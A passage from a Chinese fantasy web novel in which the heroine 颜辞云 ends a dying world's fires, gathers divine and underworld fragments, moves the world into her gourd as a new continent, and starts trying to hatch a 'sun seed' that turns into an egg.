“命运啊……” 命运，强者的谦辞，弱者的借口。 但没有人会永远是强者，所以永远都会有人相信“命运”。 颜辞云这样想着，将最后的灵魂也收入自己的死神空间袋后，离开地下研究所，再次站在了地面上。 她抬头看向天空，看到了那日之车上，那个熟悉的人影再次拿起了太阳神矛。 啪嗒—— 如同镜子碎裂的声音。 世界破碎。 一切有关托肖文明的“历史”，都随着天上最后那个伪神的陨落，而一同消失在了颜辞云的视线中。 黑暗再次在颜辞云眼前降临。 她重新回到了那个仿佛直通地底的天坑和黑暗中。 颜辞云沉默片刻，先是向上飞，飞出黑暗和天坑，重新观察正常时间线上的世界： 大地一片荒芜。 无处不在的高温与野火在每一处地方每一个时刻燃烧。 天空通红通红的，好似天上也有火焰在燃烧；而与此同时，它也是昏暗的，因为大量的烟尘、气溶胶以及灰烬，都融入了云中，化作了一片片不详的黑云，遮天蔽日。 直到这一刻，颜辞云才终于发现，这个世界的天上原来是没有“太阳”的。 任何一个“太阳”都没有。 而大地上也是不存在生命的。 任何一点儿生命都没有。 和颜辞云看到世界后的第一想法一样，这是一个走到尽头的世界。 而不同于颜辞云当初猜想的是，这一次，不会再有一个创世神胡拉坎，来为这个世界演化重生、点化生灵了。 甚至，就连这个世界之所以枯败至此都没有彻底死去，都只是因为还有最后的“一线生机”藏在最深的天坑之下，拖住了世界死亡的脚步。 但想来也拖不了太久了。 颜辞云站在虚空，环视这个走到终末的世界。 这一刻，她终于明白了自己进入的“天坑”是什么地方—— 那是众神陨落时留下的遗迹，是被众神打碎了的九层冥府，更是从天上陨落的每一个“太阳”。 那些与“神”有关的所有的一切，在从天上坠落后，都在大地上留下了一道道刻痕、一段段历史、一个个投影。 而与此同时，颜辞云觉得，自己或许也知道了天坑尽头那最后“一线生机”的真相。 这样想着，颜辞云飞遍了这个世界，遵循自己的直觉，找到了最大的那个天坑，一路向下，飞到了天坑尽头。 而在颜辞云飞过了漫长黑暗，终于闯入一片炽烈火焰后，在落地的瞬间，她抬起头，看到了一个意料之中的身形—— 曾经的太阳执行人，后来的文明罪人，南陆。 此刻，他半跪在地上的身躯，只有一点儿隐约的人形、一些似是而非的骨骼，而他身上的更多部分，都化作了一团团融化的火焰。 它们不停地跌落地上，又不停地被无形的力量拉回南陆身上，生与死、燃烧与寂灭，在他身上不断转换，维持着像曾经太阳神残躯那样不死也不活的状态。 颜辞云凝神观察南陆。 从远处看，他似乎是地底唯一的太阳。 但当视线穿过火焰后，他是世上唯一的罪人。 这一刻，颜辞云蓦然发现，毁灭这个人的，原来不是天上的那群伪神，而是他自己心中的自我厌弃与罪恶感。 ——他毁灭了文明，于是决定在这里毁灭他自己。 他不是那个傲慢威严、天生站在云端上的太阳神，而仅仅是南陆。 颜辞云不自觉地摇头，无声地叹息。 脚下在停顿片刻后，她开始迈步，向着南陆——这个世界上最后的一个“生命”走去。 虽然，事实上，这时候的南陆已经很难称之为“生命”了。 或许是因为“神力”的某种共通性，又或许是因为别的什么。 当颜辞云走到南陆五十步的距离时，她听到了奇特的声音。 【如果世界上一定要有一个反抗众神的渎神者，那个人或许只能是我……为什么一定要是我呢？】 第四十步。 【如果反抗众神的代价是文明的毁灭，如果一定要有一个人承担所有的罪恶，那个人或许只能是我……为什么一直都是我？】 第三十步。 【从一开始就没有选择的人，到最后或许也不会有选择。】 第二十步。 【这是我的选择吗？或许吧。真是没想到，我人生中做下的第一个属于我自己的选择，竟然是弑神。】 第十步。 【我很累，真的好累……但我还不能死……还有最后的事……最后一件事……】 颜辞云站在了南陆的面前，化作了实体。 她俯身，看着自己面前这个不生也不死的怪物，伸出手，指尖穿过太阳一样炽烈的火焰，轻轻摸了摸他的头发。 “你是毁灭世界的人，也是拯救世界的人；你是不可饶恕的罪人，也是最可悲的救世之人。” 颜辞云说着。 “一切都结束了，剩下的，就交给我吧。” 这一刻，这个最后的“太阳神”就像是真的听到了一样，缓缓闭上了眼。 他的头垂下，死亡将他身上的火焰一寸寸熄灭。 颜辞云从他的躯体上摘下了心脏，将那颗如流动黄金一样灿烂耀眼的心脏带走，接着又拿起了他手边那支击落了无数神灵的染血神矛，飞出天坑，飞到天上。 她低头，看着脚下的焦土与火焰，说出了自己来到这个世界后的第一个命令： “一切火焰，都该熄灭。” 只是一瞬间，那在大地上永恒燃烧的火焰，便都熄尽了。 天与地的红，都在这一刻黯淡下来，但高温与蒸汽，还在扭曲着视线。 如果放着不管的话，很快的，这个世界又会重新燃起无处不在的野火。 于是，颜辞云眉头一皱，又说了第二个命令。 “雨来。” ——轰隆！ 雷声骤响，如狂龙的雷电悍然撕裂灰烬凝聚的黑云，露出无数光年外的遥远星光。 旋即，暴雨倾盆！ 无穷无尽的水从颜辞云手中的水灵珠涌出，先是飞去天上，随后又落入人间。 这一刻，那自世界毁灭后的第一场雨，代表着生命与复苏的雨水，终于降临。 第99章 收尾 【你想成为什么神？】…… 系统在发布任务【神圣终焉】时，给了颜辞云三个选择：拯救，毁灭，或者见证。 也就是说颜辞云可以根据自己的个人爱好，选择成为世界的救世主，或是成为灭世的魔王，甚至是什么都不做、当个纯粹看热闹的路人都可以。 不过，依照颜辞云的性格，她在得知这个世界发生的历史之前，对这个任务的态度还是非常郑重的。 就像是突然当上大法官的玩家。 当原告被告都站在台上，焦急等待你的判决时，玩家的第一反应往往不是发癫开无双，蹦到原告席和被告席面前给他们每人平等地来两巴掌，而是会选择低头看案卷，暂时把自己代入了辨忠奸的青天大老爷的位置。 但如今，颜辞云已经看完了这一切，也从“青天大老爷”的位置上走了下来。 所以——是拯救？是毁灭？是见证？ 颜辞云很快做出了选择： 嗐，想多了不是？她又不是真的大法官！ 人最要紧的，就是有自知之明，最该做的，就是不以自己的个人价值去审判他人的价值观。 只要不是干了什么伤天害理的事，那世上的一切人与事都能以两句话简单粗暴概括：关你屁事？关我屁事？ 托肖文明、以及这个世界的毁灭故事，的确曲折离奇，十分复杂，可这些事与颜辞云有关吗？ 没有。 所以她能坦然当那个负责审判、给人定罪、裁决罪恶的大法官，以她的个人价值观评判另一个文明的灵魂的善与恶吗？ 不能。 所以，颜辞云觉得，自己要做的或许只有一件事，那就是让托肖文明内部的灵魂，裁决他们内部的罪恶。 虽然，对于“让托肖人自己解决自己内部矛盾”这件事要如何实现，颜辞云目前仅有一点点想法，非常粗糙，需要完善的地方很多。 但没关系，颜辞云现在不着急。 因为目前还有另一件更重要的事等待颜辞云去做，那就是熄灭这个世界的火焰，驱散土地上的高温，令它恢复宁静。 接着，她还要收集散落大地的冥府碎片，驱散胡拉坎神系的神力影响，最后——把这个世界，整个搬走！ 没错，颜辞云已经决定了，要把这世界整个儿端走，放置在大海之上、弇州的旁边，好给她家青丘外的那片空海域添点儿景色。 颜辞云：我琢磨着这个无主的世界放这里也没人要哇。 不过，颜辞云的打算虽好，里头却有一个小小问题，那就是这个世界的创世神胡拉坎，死得非常彻底。 “死得非常彻底”的意思是，祂没有像赛博修仙的世界那样，把世界管理权转移给颜辞云，所以颜辞云如果想复刻上一个世界的操作，直接让系统帮她完成世界合并这件事，估计是难以办到的。 可没关系，颜辞云还有一个神奇道具。 【三炁紫金葫：可收纳指定之物，或是将其置于葫芦里，或是将其炼为丹药。】 在第一次出门旅行时，颜辞云看着“指定之物”这个描述，就萌生过一个奇妙想法：她能不能将自己的整个青丘都装在葫芦里，一股脑带走，从而实现世界无处不家园？ 这实在是个非常诱人的想法，但碍于颜辞云当时区区60单位炁的实力，她无奈放弃了。 可如今，颜辞云本体的炁总量已经破4000了！ 颜辞云在心里衡量过，作为灭绝了伪神的新任“太阳神”南陆，他身上的炁总量应该是在100上下，也就是颜辞云现在披着的这个【神力碎片】的马甲的量级。 100单位的炁可以杀遍伪神无敌手，那4000单位的炁，其量级又达到了什么水准？ 颜辞云想了想，觉得应该是可以把这个世界的创世神胡拉坎按在地上打的水准。 所以，没错！ 她，颜辞云，必然是有本领用三炁紫金葫搬走这一整个世界的！ 只要用风和雨把这个世界的温度降下去，再拾缀拾缀地上地下的神力碎片和冥府碎片，就可以把世界捡回家啦。 这样想着，颜辞云在这个荒芜的世界勤勤恳恳，施云布雨，下了整整十天十夜的雨，这才勉强将世界的高温降下。 值得一提的是，颜辞云在长时间高强度的降雨活动中发现，获取了应龙神力的她，虽然理论上是掌控四季的神明，可以用神力无障碍地切换季节、施云布雨。 可事实上，当她的力量释放出去后，其神力的外在表现，更多是在影响地表热量、改换季风方向和搬运雨水上这三件事上。 颜辞云：“……怎么偏偏在这件事上这么科学？” 总而言之，应龙的力量，绝大部分都在于“借力打力”，而非“无中生有”。 如果令颜辞云置身一个地火水风各元素齐全的世界里，那么以颜辞云的能力，她可以将应龙的神力发挥到极限，无论是搬山倒海，还是移星换斗，改天换日，统统不在话下！ 甚至她的续航力也非常恐怖，哪怕与敌人斗上十年百年都不会感到疲倦。 可是，如果让她置身一个元素缺乏、天地破碎的世界里的话，她的能力就会被极大缩减，手段也会变得单一贫乏起来。 比如说在这个天崩地裂，仅剩下地、火两种元素的世界里，颜辞云就连布雨都得借助水灵珠的力量。 为什么？ 因为应龙的布雨原理是“搬水”，而这个世界就压根没有水给她搬！ 至此，在对力量的探索和辩证中，颜辞云觉得，自己可能在无意中找到了上一任应龙的真正死因—— 那就是被困在一个元素贫瘠的世界里，一身实力压根发挥不出来，被乱拳围殴后憋屈死的！ 这才是最有可能杀死一位四季神明的真正办法！ 颜辞云不知道这个猜想有几分真假，但它无疑给颜辞云提了个醒，那就是她恐怕真的有必要费心收集一下各元素灵珠了。 不再是为了点亮图鉴，也不是单纯完成一个收集癖的心愿，而是为了在被突然困入一方破碎世界后，不至于因元素的缺乏而死于憋屈！ 确定了接下来的奋斗目标、找到了变强的方向后，颜辞云总算在心里松了口气。 而直到这时，颜辞云才有工夫仔细打量自己得到的两件物品。 【太阳之种：有试过种太阳吗？又或者是将太阳吃掉？无论哪一个选择，或许都会给你以惊喜。】 【诸神黄昏：一柄击杀了所有末代神族的长矛，其矛上沾染的无尽神血，已让它在杀戮中褪去凡身，晋为神兵。】 对着手上这柄名为【诸神黄昏】的长矛，颜辞云没怎么纠结，随手挥了两下，觉得还行、还能用，便把它收进了系统物品栏里，顺带还给它改了个名字，叫【火焰三尖枪】。 毕竟【诸神黄昏】这个名字，跟她的风格实在不太搭。 能忍一个【刻耳柏洛斯】已经是颜辞云看在那狗丑得让人不忍苛责的份上了。 可当颜辞云看到自己手上另一个物品，【太阳之种】后，她却忍不住陷入了微妙沉默。 颜辞云实在想不明白，为什么从最后一位太阳神胸口掏出的心脏，到手后却会变成【太阳之种】。 其实，如今想来，颜辞云当时掏心的动作，也是有些离奇的，毕竟她颜辞云也不是那种习惯掏人心的人。 可是，在一种莫名的直觉驱使下，她就是自然而然地这样做了……为什么？ 是为了她手里的这个【太阳之种】吗？ 是颜辞云的直觉告诉她，她需要这个，所以才会在理智反应过来前，身体就做出了掏心这个动作？ 颜辞云看着手上像是心脏又像是树种的东西，表情茫然：“那、那这个‘需要’……是需要吃掉？还是需要种下？” 不清楚，先放着。 不过，新物品的获得也给颜辞云提了个醒，让她想起自己除了矛和心脏外，还收集到了一点儿别的东西。 于是颜辞云开始掏自己死神外套的两个空间口袋。 她先是掏了掏装死物的口袋。 这个口袋里空空如也，那些她收集过的【原始月亮碎片】、【原始太阳碎片】、【原始海洋碎片】，以及【胡拉坎的左眼】【胡拉坎的右眼】什么的，统统不见了！ 颜辞云：呵呵，真是一点都不感到意外呢。 毕竟这些碎片，都是颜辞云在“投影”里收集到的东西，在离开“投影”后就消失，也不奇怪。 紧接着，颜辞云又掏了掏装灵魂的口袋。 令颜辞云倍感意外的是，被装在这个口袋里的死魂，竟然都在！ “这是什么原理？” 颜辞云心中愕然，思来想去，只得出了一个似是而非的猜想： “难道说，我在历史投影里收集到的那些碎片，并不是‘虚假’的，而只是在当前的时间线上消失了，所以才不能从‘过去’带到‘未来’？” 那些死物，无论它们曾经如何辉煌过，都会因为历史的变化、岁月的变迁，而消失在各种意外中。 比如说这场毁灭文明毁灭世界的神战。 但灵魂——唯有灵魂，这种看不见摸不着、看似不存在也不值一提的东西，却会永恒存在，永远轮回。 ……是这样吗？ 颜辞云摇了摇头，没有深究其中原理，只是觉得，自己心中那个“让托肖人自己解决自己内部矛盾”的想法，似乎越来越清晰了。 接下来，暴雨在天上下了十天，颜辞云就在地上收集了十天的神力碎片与冥府碎片。 其中，冥府碎片是颜辞云收集起来最顺手的。 对于绝大部分普通人来说，看不见摸不着的冥府碎片，可能是最难收集的一种东西。 怎么找到冥府碎片是一种难度，怎么收集冥府碎片又是一种难度。 就连托肖文明里对神学研究最深刻的明淑华，她收集的也仅仅是冥河之水罢了。 可是，谁叫如今的颜辞云是死亡收割者呢？ 死亡收割者还怕遗漏了死亡的气息？ 死亡收割者还怕采集不出冥府的碎片？ 不过是围着世界逛两圈的事罢了。 所以，理所当然的，短短三天不到，颜辞云就把所有散落的冥府碎片收集了起来，塞进万能的系统物品栏里。 【冥府碎片】X66 【冥府碎片：合成材料，可用来合成一个可成长的冥府核心。】 颜辞云看着这些碎片，眼睛一亮：冥府核心？ 很好，就是你了！ 颜辞云点头，脑中的思路越发清晰，只等把这个世界捡回家去，就立即实行。 不过，接下来，在颜辞云开始采集众神死后掉落大地的神力碎片时，却感到了十二分的棘手和麻烦。 因为，这些碎片，实在是太散了！ 颜辞云与这个世界的神没有任何关系，对祂们也没有任何感应，所以颜辞云收集这些神力碎片的方式只有一个，那就是用眼睛去看。 像扫雷一样，用眼睛在大地上一个个寻找“天坑”，再进入一个个的“天坑”深处，用镰刀把神力碎片采集出来。 这实在是一个单纯且机械、重复又无聊的过程。 如果不是颜辞云习惯了生活模式和采集模式，换一个战斗爽的玩家来，恐怕早就撂挑子了！ 【神力碎片】X126 【神力碎片：一种蕴含着极高能量的材料，可用来合成。】 ——一种蕴含着极高能量的材料。 颜辞云还是第一次看到“极高能量”这样的描述。 极高能量到底有多高？它又能做什么？ 好奇之下，颜辞云丢了一个碎片进三炁紫金葫。 然后，她得到了一个熟悉的东西。 【回炁丹（上品）：恢复20单位炁。】 “呃……” 不就是跟甘露一个能量等级的东西嘛！ 如今的颜辞云，可不缺这点儿炁了。 甚至，如果不是移动世界的过程中，她需要尽量减少异种力量的影响的话，这玩意儿掉地上她都懒得捡的！ “唔……不行，再试试。” 一百多个神力碎片，总不能全部炼制成回炁丹。 于是，颜辞云又试着取了四片，丢进水火炼葫。 令颜辞云汗流浃背的是，这四个神力碎片炼出来后，竟然是一道菜。 【还魂汤：你最好不要知道这份汤是用什么做成的。】 【死者食用后能活死人、生白骨；生者食用后能在二十四小时内提高炁总量上限100，过后将扣除200单位炁。】 也就是说死人喝了能活，活人喝了二十四小时后没200单位的炁可扣就会死是吧。 对普通人来说挺有用但对颜辞云来说没什么大用的小玩意儿。 四个神力碎片，竟然就出了这么一道不痛不痒的汤品？！ 这个成果，对得起她的苦苦采集吗？ 虽然这个过程也没多苦，也就是多跑两步多挥两下镰刀的事……但你对得起她的苦苦采集吗？！ 不甘心。 颜辞云实在很不甘心。 于是，她又把神力碎片放上系统自带的制作台，唰唰唰摆满了九个格子。 而这一次，在颜辞云惊讶的目光中，她看到了一个意料之外的、甚至是她想都没想过的东西，在制作台的出口处浮现。 【空白神格】X1 颜辞云茫然片刻，伸手取下，将它握在掌心。 这一刻，颜辞云感到自己的掌中之物，如正午的溪流一样温暖、又如绽开的花瓣一样轻柔。 她轻轻张开手，之后，一个不含任何杂质，也没有任何属性的“月亮”，在颜辞云手中徐徐升起。 明亮，纯净。 有着无限的未来与无限的可能！ 颜辞云看向了系统为它写下的注释。 【你想成为什么神？】 第100章 旧日与新日 在旧日陨落前…… 十天十夜的大雨很快结束了。 而大地上近乎炙烤、如同熔岩地狱一样的温度，也一点点降了下去。 虽然此刻，生机仍未回归，被破坏得彻底的大地也不知道要多久才能缓过气来……但是，只要是一个新故事的开端，那未来总是值得期待的。 “好了，一切准备就绪！” 开始搬家了！ 颜辞云一心二用。 她一边操控着神力马甲退出小世界，穿过雾气，回到弇州；一边让在树屋里睡大觉的本体起床，飞上天空，穿越茫茫白雾，小世界前停下。 当颜辞云的小号和本体在白雾中交错的那一刻，颜辞云操控着小号，抬头向天空望去。 但奇怪的是，明明颜辞云非常确定自己的本体就在天上、就在她视线所凝望的尽头，可小号的眼底就是迟迟倒映不出对应的身影。 颜辞云若有所悟。 这就是仙人渺渺，仙踪难觅吗？ 当实力差距太大时，哪怕是对方没有刻意隐匿身形、堂而皇之地在人前走过，凡人也无缘一见。 “4000和100的量级差距，真是恐怖如斯……” 嘀咕着，颜辞云把小号马甲停在了世界树下，切换成灵魂状态，免得在挂机过程中被什么突发意外损坏。 与此同时，颜辞云的本体也在小世界面前掏出了三炁紫金葫。 “收！” 不需要做更多准备，只是心念一动，那偌大的世界就被颜辞云收进了葫芦里。 白茫茫的雾气中，原本的九颗星星在被系统抢走了一颗后，现在又被坏神抢走一颗，变成了七颗星。 而与此同时，颜辞云的三炁紫金葫里，则多了一个【未命名·小世界】，而她一直稳定维持在4000的炁总量，也一下子掉了1500单位。 一切都和颜辞云想的一样！ 无论是她对“收纳指定物品”这句话的猜想也好，还是收走一个小世界所要消耗的炁总量也好，一切都在颜辞云的预期之中，没有发生任何意外！ 而生活玩家最喜欢的事，就是“一切照计划进行”。 颜辞云开开心心地退出白雾，开开心心地来到弇州前。 她环首四顾。 只见此刻，原本笼罩在弇州附近的茫茫白雾，随着颜辞云从雾里取走星星后，已经又褪去了许多，露出了弇州南北两侧的大海，和东侧的一小节海域。 所以，颜辞云几乎没怎么多想，就排除了把小世界安置在弇州东侧的打算。 之后，她想了两秒，很快又排除了弇州南侧。 无他，弇州南侧地域，实在太接近焦侥了。 焦侥是一片大陆，位于颜辞云所在的金丘南方。当颜辞云站在金丘南端，隔海观察焦侥时，能看到的唯有焦土，能感受到的只有高温。 虽然听当扈说，焦侥的内部有大片沃野，还有许多生命存在，可事实上，焦侥外部的温度就是很高。 而颜辞云搞到手的这个小世界，就像是好不容易才保留下来的易燃易爆物，极有防火意识的颜辞云，怎么可能主动把这样的东西放在焦侥的旁边？ 所以没错，弇州北边的寒泽，就你了！ 颜辞云来到弇州北边，目光一扫，在心中估算了一下小世界的面积后，在寒泽海面上圈出了一个大致的放置范围。 值得一提的是，胡拉坎创造的小世界面积并不算大，系统的估算是1亿多平方千米，是地球表面积的五分之一，和地球的陆地面积差不多大。 而与此同时，这个小世界因胡拉坎的数次重启，并没有来得及形成一个完整的天体，甚至它还处于天地初开、天圆地方的阶段，连“天”这个概念，都是靠四个天空巨人人工撑起的。 非常粗糙，也就和大学生的毕业论文差不多水准吧。 所以，在放置这个小世界时，颜辞云不需要什么精密操作，而只要像在牛奶上放下一块巧克力一样，把小世界放在海上，同时升起大陆架，固定好这块土地的位置，把它和弇州拼一块儿，就算是“放好了”。 挺简单的，没什么难度。 颜辞云随手就做好了，甚至在搞完这一切后，她还有2316单位的炁。 “那么……这儿要叫什么呢？” 依然算作弇州的一部分吗？ 不好不好，地形差别太大了。 再者说，这个地方颜辞云是有过考量、准备派上点别的用场的。 把它和弇州混在一块儿，就不太方便了。 不过……就是说，取名这种事，她不太擅长啊！ 颜辞云思考两秒，果断戳系统。 “有什么建议么？” 系统的回复格外冷酷。 【玩家是否提交任务[神圣终焉]？】 “哦，对了，还有这个。”颜辞云这才想起自己还有个任务没结算，于是随口说道，“提交吧。” 【叮！任务[神圣终焉]已完成，技能点奖励结算中】 【任务[神圣终焉]技能点奖励结算完成，技能点+1】 【检测到新物品：大陆碎片其一】 【请为新大陆命名：随机/自定义】 【检测到新物品：冥府碎片】 【提示：冥府碎片可合成一枚可成长的冥府核心，一个世界仅允许一枚冥府核心存在。冥府核心放置后，可开启新的管理页面，此管理页面需有特殊员工工作才可运行。】 【检测到新物品：神力碎片】 【提示：神力碎片可合成空白神格，空白神格注入相应力量后可形成对应的专属神格，如放置神格任其自由演化，则可能形成特殊神格，也可能演化失败，回归天地。】 【检测到新物品：太阳之种】 【提示：太阳之种为特殊物品，需特殊的时机与地点才可孵化（在旧日陨落前，不会有新日孵化）。】 …… 颜辞云的任务才一提交，大串的系统提示就跳了出来。 让颜辞云失望的是，她经历了一个新世界，得到的技能点也才只有1. 这跟她在赛博修仙的世界的收获，可谓是相差甚远！ 为什么呢？ 颜辞云想了想，心中冒出一个猜测：难道，是因为她对上个世界的干预太小了吗？ 在赛博修仙的世界，颜辞云跟那些死魂流转公司的职业死神们一块儿，没日没夜地收割了无数灵魂，在协助世界重启的重大事件上贡献出了自己的大量时间和大量精力。 最后得到整整4个技能点，似乎也是对她努力的褒奖。 而在胡拉坎的世界里，颜辞云只不过是单纯看了几场电影，下了十天的雨，就直接把别人的整个世界都搬走了…… 这么说来，她获得1个技能点似乎都算是赚？ 唉，真是烦恼啊，难道就没有只看电影也能大量获得技能点的办法吗？ 在心里抱怨了两声后，颜辞云也没有太过懊恼，随手就把这件事撂下了。 毕竟，比起进账寥寥的技能点，颜辞云真正在胡拉坎世界里收获到的，其实是道具才对！ 就像是冥府核心，就像是神力碎片，就像是太阳之种，甚至是世界本身……对了先给新大陆取个名。 【请为新大陆命名：随机/自定义】 【随机】 随机姐这一次又选择了随机。 于是新名字很快出现： “台州？” 颜辞云想了想，觉得还行，点下确定。 于是，在颜辞云视线角落，那个常开不关的小地图上，一个名为台州的陆地迅速出现在弇州的正北方，驱散迷雾。 搞定了新大陆的名称后，颜辞云没有像最开始决定的那样，急着合成冥府核心放下去。 毕竟刚刚的系统已经及时弹出提示，告诉了颜辞云，冥府这东西跟她的鸡舍畜棚什么的可不一样，是需要工作人员才能运行的。 这提示一出，颜辞云就有点抓瞎了： 工作人员？ 这东西哪儿来？ 这大陆……好像也没见有人啊！ 她的死神外套里倒是装了一口袋的鬼魂，不仅仅是最初的一万多个，而是小世界的绝大部分鬼魂。 它们都是颜辞云在大地上收集冥府碎片时，顺手收割的。 这些鬼魂能当“员工”吗？ 如果可以，选谁当？总不能每个鬼都是员工吧，哪有那么多岗位！ 但如果要让她来亲手挑员工的话，该怎么挑？以什么标准挑？ 呜哇，好麻烦呀。 跟“人”有关的东西，怎么总是这么麻烦。 ……再想想，再想想吧。 头疼的颜辞云暂时放置了这个有些复杂的问题，决定先去处理太阳之种。 说实话，颜辞云在获得这个太阳之种时，还以为自己只要面对“种”和“吃”这两个选择就好，可系统的新提示无疑打破了她的美好幻想。 ——在旧日陨落前，不会有新日孵化。 什么是旧日？ 什么是新日？ 是……天上的那个太阳吗？ 颜辞云仰头，向天上望去。 只见无穷高无穷远的天上，一轮烈日高悬。 它比天和地之间的距离要远，甚至比神与人之间的距离还要远！ 哪怕颜辞云如今继承了应龙的神力，成为了新的掌管四季与山河的神，瞬息间就能飞越万里之遥，但她依然能够隐约感觉到，她似乎飞不出这方天地。 这个世界很大很大，大得不可思议，大得可怕。 接近地球陆地表面积的台州，在寒泽上放下后，也只占据了小小的一片地域。 从小地图上看，台州的面积甚至仅不过是金丘的七分之一罢了。 这是什么概念？ 要知道，金丘，也不过是这方世界里的其中一州而已。 除此之外，这个世界还有八山七州，每个地方都不会比金丘要小。 而金丘西边的西极之山又称阊阖之门，大地上的所有生灵都认为，这扇门可以通往神灵之所，也就是说在这大陆的更远之地，还有另一片真神居住的天宫！ ——太广阔了。 这是颜辞云对这个世界最深的感受。 这个世界，是真的广阔到了浩渺无垠的地步！ 可与此同时，这个世界也很“小”。 当颜辞云还是一个凡人、是一个小怪兽的时候，她还不这样想。 可当她继承了应龙神力后，她突然感到，如果自己伸手触摸的话，或许可以摸到天上无形的“天花板”，摸到空气中那一根根无形的“铁笼”。 虽然它们并不是真实存在的，可颜辞云就是能感到，有什么无形之物，困住了这个世界，也困住了她。 颜辞云作为一个很容易满足的宅女，其实并没有无论如何都要打破笼子、冲破束缚的想法。 但很多时候，她也会忍不住思考： 笼子的外面是什么？ 究竟是什么东西困住了自己？ 如果自己也去往阊阖之门的话，作为新应龙的自己，能通过这扇门吗？能看到“天宫”吗？ 不知道。 边走边看吧。 颜辞云作为乐观的宅女，选择留下今天的快乐，把难题交给明天的自己。 可如今，还没到“明天”，系统就让颜辞云“看”到了——旧日。 多么奇妙的称呼啊。 旧日？“旧的”太阳？ 那颗天上的太阳，原来也能是“旧”的？ 那这是不是代表会出现“新”太阳、代表它终有一天会被“新”的太阳取代？ 但偏偏，系统又说，在旧日陨落前，不会有新日孵化。 这句话的意思，似乎是说唯有等到旧的太阳死去后，才会又新的太阳应运而生。 但如果她就是想要立即孵出一个“新”的太阳呢？ 这样的她，有没有什么办法主动让太阳变成“旧日”，甚至是直接摘下这颗“旧”的？ 是要挣脱这个世界的“牢笼”吗？还是冲破“天花板”、穿过阊阖之门？ 颜辞云思考了一下，觉得这两个选项对目前的她来说似乎都有点难度。 那么，当天上的那颗“旧”日仍高悬天上时，她难道就真的没办法孵化出一个“新”日了吗？ 真的不行？ 无论如何都不行？ ……卡个BUG也不行？ 颜辞云托着手中的太阳之种，有些不确定： “要不……试试？” 100-110 第101章 种太阳 “那我孵出来的这…… 在系统的说明里，太阳之种的孵化需要特殊的时机和特殊的地点。 所谓“特殊的时机”，颜辞云觉得，应该就是“旧日陨落、新日未生”的时候。 但这一个要素颜辞云已经决定跳过，因为拿到新玩具的她，已经迫不急的想要卡BUG孵太阳了。 那么“特殊的地点”又是指什么呢？ 是见不到太阳的永夜之地吗？还是热量极高的岩浆池？又或者是扶桑木树下这样带着神木属性的地点？ 颜辞云决定一一试过去。 她揣着这颗太阳之种，从台州一路向北，跨过海洋上的浮冰和寒流，来到了名为积冰的大地。 积冰是最靠近北极之山的地方，与其说它是“大陆”，不如说是由无数块浮冰拼成的冰岛，就像是鸟儿丢弃的一片片羽毛，所以这里又被称作委羽。 无穷无尽的寒冷与黑暗，在这里密布，无论是热量还是日光，都仿佛永远无法抵达这里——除非颜辞云动手把其它地方的光与热搬来。 颜辞云还记得，当初在她给当扈主持公道的时候，当扈就告诉过她，说只有那些穷凶极恶的鲛人，才能活在积冰这样环境恶劣的地方。 颜辞云当时听的时候，没好意思跟当扈说你们那居住条件真也不咋样，只一个劲地点头表示赞同。 而如今，颜辞云在登上积冰后，她看着四周骤降的亮度和脚下好似稍一重就会沉底的浮冰，脑中下意识想起了当扈的那些叨叨，忍不住在海边逗留了一会儿，看会不会有漂亮小鱼人过来找她玩。 但很可惜，没有。 颜辞云遗憾发现，自己的小动物缘似乎一直都不怎么样。 也不知道是不是因为她杀鸡宰羊的事干多了，身上充满了屠夫的气息，这才吓跑了所有的小动物。 除了那个装柔弱装可怜的心机猫小白之外，也就只有最初那座原始森林的小红鸟会亲近她了。 只可惜，那只小红鸟也随着换季的森林大火消失……唉，如今想想，颜辞云还真是有点愧疚。 她想，如果早知道当时的水火二炁暴走的时候会把溅射伤害调到最大，她就……等等，她好像也不能怎么样？ 毕竟当时的她连自保都很勉强，更别说是保护一只小红鸟了。 “奇怪，怎么突然想到了以前的事……” 颜辞云敲了敲脑袋，回过神来，长长的蛇尾摆动，在无尽的浮冰上轻轻游曳，一路向前。 在约莫抵达积冰之地的中央位置后，颜辞云终于放下手中的太阳之种，在一旁静静等待，期待看它。 有那么一个瞬间，颜辞云感到太阳之种内部似乎有什么玄奥的东西流转。 它温度极高，像是融化的铁水，在颜辞云将它种下的瞬间，就活跃起来，如同受到了某种召唤，激动地膨胀着、鼓动着。 可，遗憾的是，这样的活跃只持续了不到一分钟。 一分钟后，这颗太阳之种飞快地冷却了下去，就像是检测到某个硬性条件没有达成的程序一样，停止得非常彻底。 “唔……种子种下去后能‘活动’，就说明这里有某个条件是达标的……” 是哪个条件呢？ “但只活动了一分钟，它就停止响应了，这说明这里缺少了它生长所需的某个硬性条件。” 是哪个条件呢？ 颜辞云继续探索。 她取出太阳之种，一路向南，越过台州和弇州，在世界树的位置一折，转而向西，越过青丘和建木后，来到沙漠中心的扶桑树的位置。 只见扶桑木的四周，那些原本由喷涌岩浆冷却成型的火成岩，已经被风中黄沙覆盖了，一眼望去，除了沙子，就是沙子。 也还好扶桑木的生长不需要水分，并且喜好极端高温，否则换寻常的树来，恐怕一栽下去就得暴毙！ “说起来……扶桑树是不是被称作太阳升起之木？” 虽然正常来说，太阳升起的地方应该是东边，而这里是西边……但不管了！ 反正都是扶桑木，没有区别的啦。 所以，在太阳之树下种太阳之种，应该有很大机率成功的吧？ 抱着这样的期待，颜辞云在扶桑木的树下刨了个沙坑，把太阳之种种下，再次耐心观察起来。 好消息是，这次的太阳之种的确又开始“活动”了起来，比它在积冰之地的表现更加活跃，甚至连种子都在不停长大，短短片刻就从颜辞云的手掌大小，长成了她需要两只手才能环抱的“大西瓜”！ 坏消息是，当种子长大到“西瓜”后，生长程序竟然又停止响应了。 颜辞云不理解。 她用力抓头，如同一个痛心疾首的老农。 “不对啊……怎么又不长了？？” “而且这个种子……怎么长着长着就变成了……蛋？” 颜辞云俯身，凝神细看沙坑里长出的“大西瓜”。 她伸手摸了摸，滑溜溜。 她又屈指敲了敲，脆响。 ——没错，真的是蛋！ 明明是叫“XX之种”，结果没长出什么植物，反而长出了一个蛋？ 那怎么不干脆叫“太阳之蛋”？ 颜辞云把这颗蛋举起，对准太阳，试图像辨别鸡蛋那样辨别太阳之蛋的内容物。 可非常奇妙的是，这颗蛋分明表面通红，上头有美丽精细的金色花纹浮现，令整个蛋壳看起来又轻又薄，好像轻轻一用力就会碎掉的样子。 但事实上，当太阳光投下时，那耀眼的光芒竟然连蛋壳的一丁点儿都没有穿过，并且还有瞬间呈现出了黑洞般的诡异现象。 “这么厚的吗？” 或者说，这已经不仅仅是用“厚”来形容了。 而像是在吸收着什么。 吸收着光，吸收着热，甚至是……生命？ 颜辞云环视四周。 